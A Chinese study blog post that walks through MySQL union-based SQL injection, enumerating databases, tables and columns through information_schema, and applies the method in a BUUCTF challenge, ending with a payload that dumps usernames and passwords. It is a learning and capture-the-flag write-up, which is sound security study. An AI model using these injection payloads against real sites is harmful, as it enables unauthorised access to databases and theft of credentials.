0
点赞
收藏
分享

微信扫一扫

网安学习Day8

前天写了对mozhe的简单sql注入的过程,总结一下相关的代码;附上一张MYSQL注入的总结图:

首先我们拿到这个网站的时候,通过order by 语句来判断字段数量,然后之后通过union联合查询,经过报错显示来查找回显点:

id=-1 union select 1,2,3

然后再回显点处查询数据库名,用户名;数据库版本以及操作系统等:

id=-1 union select 1,database(),user()    //数据库版本-version() 操作系统-@@version_complie_os

在查询出数据库名,用户名之后,根据数据库对应的版本信息,如果数据库版本大于5.0,则判定为高版本,通过information_schema库进行有据查询,低于5.0版本判定为低版本,可以根据暴力破解结合读取查询;接下来就是查询表和列信息:

id=-1 union select 1,table_name,3 from information_schema where table_schema='数据库名'
id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name='表名'

之后便是在对应的列名中查询具体的信息:

id=-1 union select 1,username,password,4 from 列名

之后学习到高权限跨库查询:

在information_schema表中,根据它的特性,该表记录了所有的库名、表名、列名对应的表;进行跨库查询的操作的前提是:我们得到的权限必须是root权限,接下来我们便可以通过union联合查询,来查找所有的数据库名:

id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

之后便获取到了所有的数据库名,然后再指定的数据库名xxx下获取相应地表名:

id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxx'

此时在去获取xxx数据库下的admin表中的列名信息:

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='xxx' and table_name='admin'

最后获取指定xxx下的admin数据:

id=-1 union select 1,username,password from xxx.admin

#文件读写操作

        读取函数:load_file()

        导出函数:into outfile 或者 into dumpfile

接下来在BUUctf中做到了一个题简单写一下巩固之前学习的

通过判断在password处存在字符型注入,经过order by判断出存在的字段数量为3
经过报错回显,得知回显点在2、3处


接下来就是爆数据库名和数据库的版本:

password' and 1=2 union select 1,database(),version()#

数据库:geek
版本:10.3.18-MariaDB
(这里得到了MariaDB ,该数据库版本是Mysql的一个分支,也就是说它属于Mysql)
接着我们来爆出用户名与操作系统

password' and 1=2 union select 1,user(),@@version_compile_os#

用户名:root@localhost
操作系统:Linux

然后我们查询指定geek数据库中的表

password' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'geek'#

便得到了两个表分别为:geekuser,l0ve1ysq1
之后就在l0ve1ysq1中查找对应的列名:

password' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'l0ve1ysq1'#

在这个表中我们得到 id,username,password

接下来就是直接查找username 以及password

然后查询l0ve1ysq1中的数据

password' and 1=2 union select 1,group_concat(username,0x3a,password),3 from l0ve1ysq1#
最终得到了flag

举报

相关推荐

机器学习Day8

# Go学习-Day8

Java学习日记——Day8

课程day8

[学习笔记-C++篇]day8

Android面试---Day8

0 条评论